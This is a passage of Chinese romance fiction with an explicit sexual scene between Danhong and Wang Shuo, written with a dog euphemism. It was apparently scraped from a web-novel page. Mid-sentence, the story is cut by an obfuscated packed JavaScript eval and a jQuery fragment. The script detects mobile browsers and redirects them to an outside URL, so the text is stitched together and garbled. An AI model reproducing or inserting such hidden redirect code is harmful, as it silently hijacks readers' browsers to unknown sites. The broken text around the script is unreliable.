“别闹了。”丹红一本正经地说,“再闹下去你的伤就别想好!”
王槊暗暗磨牙,显然不肯吃下这个哑巴亏。
他箍着丹红的腰身,上下打量一番,终于找到合适的“报复手段”,眼里难得闪着几分恶劣的光,叫偏头瞧他的丹红心里忽然一紧。
“你……”
话没说完,宽大的手掌出其不意地探向她的腰侧,指尖像羽毛般轻轻扫过。
丹红还没说完的话变成了笑声,身子猛地一缩,像只受惊的猫儿往侧边躲。
可王槊早有准备,另一只手稳稳拦住她的退路,带着老茧的指腹在她敏感的腰间游走,故意挠得又轻又快。
“住手…哈哈哈…不许…”她笑得眼角泛泪,在他怀里扭成一团,发丝都散乱开来。
他却坏心眼地变本加厉,低头在她耳边吹气:“如何?”
丹红的耳廓叫他吹得通红,闻声咬着唇,赌气似瞥向王槊,圆润的眼里泛出一阵水光。
可惜王槊不断作怪,丹红没忍一会儿便破功。
她踢蹬着腿想逃,却被王槊一把捞回来,整个人被困在那双铁箍般的手臂间。
最后丹红笑得没了力气,只能红着脸捶他胸口:“混蛋……”
王槊这才收手,却仍将她圈在怀中,得意地看她气鼓鼓整理衣衫的模样,忍不住又在那泛红的耳尖上偷亲一口。
丹红实在是没精力抓偷香的小贼,伏在他的胸口气喘吁吁,也顾不得手到底该放在什么地方。
身上没得力气,只随便找个地方撑着。
她从前一直觉得自己不怕痒,也不知王槊这双手施了什么神奇的术法,竟叫她止不住地笑。
丹红恼火极了,霎时间恶向胆边生。
她手肘一扬,抵着王槊的喉咙,狠狠地咬上他的唇瓣,霎时间血腥味在口腔中弥漫开。
“嘶——”王槊慌张地看向丹红。
丹红舔掉唇角一点鲜红的血迹,戏谑地睨着他,压着声道:“有本事呀。”
王槊确实不敢施本事。
他匆匆侧身去够榻上里侧的那床薄被以作遮掩,却不防被丹红顺势压倒,刚刚降了些温的后背蹭在榻上,又泛出火辣辣的热度。
“怎么?”丹红俯身视之,嘴角笑意不改,“还敢在我身上作威作福吗?”
这话有几分歧义,听得王槊耳朵愈加发烫。
只是他一贯板着脸,再加上肤色偏深,倒叫人瞧不出他的思绪短暂朝某个不可言说的方向飘忽了瞬间。
不过丹红没能察觉这个细枝末节,实是因为她此时的神思也正飘忽着。
因是就势压住王槊的,他此时半侧着身,姿势很是别扭,却偏偏拧着腰身,腰间的肌肉发力,一片片块垒分明,煞是好看。
更别提这些锋利的线条没入裤子粗犷的系带,叫人一晃眼便瞄到他的身后。
丹红没忍住,又打了一巴掌。
王槊更是愕然地瞪着她,没想到刚刚胡闹一番,她居然又往这儿拍。
这回她还特意停了停,像是要多确认确认自己先前的感受。
实在是……实在是……
是可忍,孰不可忍?
王槊咬咬牙,竟猛地将丹红掀翻,电光火石间攻守异型,丹红还没来得及仔细感受一下手指残留的触感,就被王槊压在身下。
她仰头看着王槊怒火中烧的模样,竟觉得十分有趣。
“怎么?你这是老虎的屁股摸不得?”丹红揶揄笑道。
一派轻松的模样,好似笃定了王槊不敢真对她做什么。
王槊气得两眼要喷出火来。
他一咬牙,屈膝分抵在两人之间,吓得丹红脸色瞬变,急急推他。
她惊声尖叫:“王槊!”
王槊顿住,腮帮子紧了紧,终于还是松懈下来,只俯身咬住丹红小巧的耳垂,解馋又泄气似的来回研磨。
细微的水声因就在耳边显得格外清楚。
丹红忍不住面红耳赤,抵着王槊的胸膛连声告饶:“我错了,王槊,我错了,快放开我……”
软绵绵的求饶声叫王槊的眸光悄然一暗。
他在丹红耳边含含糊糊说道:“那你帮我揉一揉。”
伴随着他轻蹭过来的动作,丹红不用问也晓得他说什么。
这什么时候……?
“不要。”丹红别过头去,“脏死了。”
“不脏。”王槊含着她的耳垂,声音里漫上讨好的味道,“每天都仔细搓洗的,刚刚换衣裳的时候也擦洗过……”
丹红冷着脸不吭声。
王槊便不撒手,只在丹红耳边不断央求道:“红红,好红红,求求你可怜可怜我……”
就没见他这样啰嗦过。
丹红实在耐不住他低沉着音调在耳边软磨硬泡,终于犹犹豫豫地递出手。
她的五指拂上去,感觉有点不太对。
在王槊变调的呼气声中,她又伸出一只手,确认一番。
而后火速撒手,连连后缩。
在王槊迷蒙又疑惑的注视下,丹红抱手痛骂道:“你大爷的不会是从驴身上卸下来了个装自己身上吧?”
成日里总着宽松的衣裳,倒瞧不出。
连珠炮般的一串话砸下来,王槊烧得迷茫混沌的脑袋一时有些理解不得。
他只凭借本能往丹红跟前凑,可怜巴巴地拉她的手,欲续上那中道而止的快意。
丹红自然不肯依他,只觉得自己单是握住,虎口都要撑得发麻。
“你手大,你自己来。”丹红把两手压在自己身下,警惕地瞪着王槊。
“红红……”王槊并不强硬,撒娇似的顺着丹红的下颌蹭上去,留下一串粘稠的轻呼。
丹红觉得痒痒。
但这股痒又和王槊刚刚挠她腰间的痒痒肉不一样。
更绵长,更深远,像是轻轻挠在自己的心头。
丹红情不自禁地轻蹭了下他。
但又很快反应过来。
“太累了,真的。”丹红一本正经地说,试图压下心中莫名荡起的涟漪。
王槊不服:“你都没动几下,累什么?”
丹红没想到他会和自己争论这个,怒道:“我就是知道累,你管得着吗!”
王槊管不着。
但他现在感觉自己真得要废了。
这么多年,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022762|167072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是没有类似的时候,不过大部分时候都是他独处一室,有的是时间与地方供他放空消解。
可现在心属之人就在怀中。
那股独属于她的幽香一阵一阵撩拨着脆弱的心弦。
他觉得自己心口都胀得发疼。
浑身上下甚至每一滴血都渴望着丹红的靠近。
但他偏偏还绷着那一根弦,做不出强拽住丹红贴近的事情。
爱与欲在两端拉扯,直叫他摇摇欲坠。
丹红见他皱着眉咬牙不语,心里那块独独会为他动摇的地方又悄然一软。
“好啦,好啦。”她为难地抽出手,摸摸这只大狗的头,狗头立马开怀地扑上来,流着的涎液打湿了衣服。
丹红掌心都湿漉漉的,忍不住问:“它能不能不流口水?”
王槊在她耳边闷闷地笑了一声:“这个……真没办法。”
狗东西就是管不住嘴的,摇头晃脑地凑上去,口水滴滴答答往下掉,但就是不管不顾,直往喜欢的人身上冲。
果然如丹红所料,累人。
她真搞不懂,狗的精力怎么能这么旺盛,还有那张嘴,怎么就能口水流个不停呢?
“能不能让它安静下来?”丹红恼火地说。
王槊搂着她,含含糊糊道:“可能……还是因为有隔阂吧。你套着链子,它自然没法尽情撒欢,怎么疲惫呢?”
丹红这时候只想快点结束,又下意识觉得王槊不会骗她,自然没有注意到他欲盖弥彰的多话。
只是等解开狗链子,这条狗更凶了。
一点儿没有它的主人乖巧听话的模样,在丹红手里横冲直撞,叫她手上紧绷发麻,丹红觉得自己掌心都快要蹭掉一层皮了。
“有完没完!”她实在受不了,一巴掌打在狗头上。
丹红听见大狗呜咽了一声,咬着牙在她身边呜呜嘤嘤个不停,不住地倒吸凉气。
狗头也如愿安静下来,瘫在她的手心上。
——完了。
“怎么了?”丹红神色慌张。
她不是闺阁娇养长大不谙世事的小姑娘,从前听顾府嬷嬷咬耳朵时,偶闻某家男人晚上不知做了什么,美事忽然变成惨剧,那男人哀嚎了一宿,从此做不成男人。
——她要是也害得王槊到了这等地步,那可真是罪过!
是以饶是丹红这样处变不惊的人,这会儿也止不住心慌,胡乱揉搓着狗头,试图叫它重新站起来。
“别……”王槊弓身压住她的手,又深吸了一口气。
丹红讪讪地看着他:“抱歉。”
王槊长出一口气,枕着她的肩头,竟然还有闲心说笑话:“无事,这不是乖了吗。”
真是立竿见影的手段。
丹红怕他的狗真彻底死翘翘了,急忙翻身要去唤人找大夫。
偏这时王槊脸皮薄起来,拉着丹红不肯叫她走。
二人纠缠的时候,刚刚还跟没气了似的死狗又冒出头来,兴冲冲蹭着丹红。
丹红看着与方才一般无二的狗头,又看看自己红得和王槊挫伤的后背一般无二的双手,一时间不知是该哭还是该笑。
万幸,狗还活着。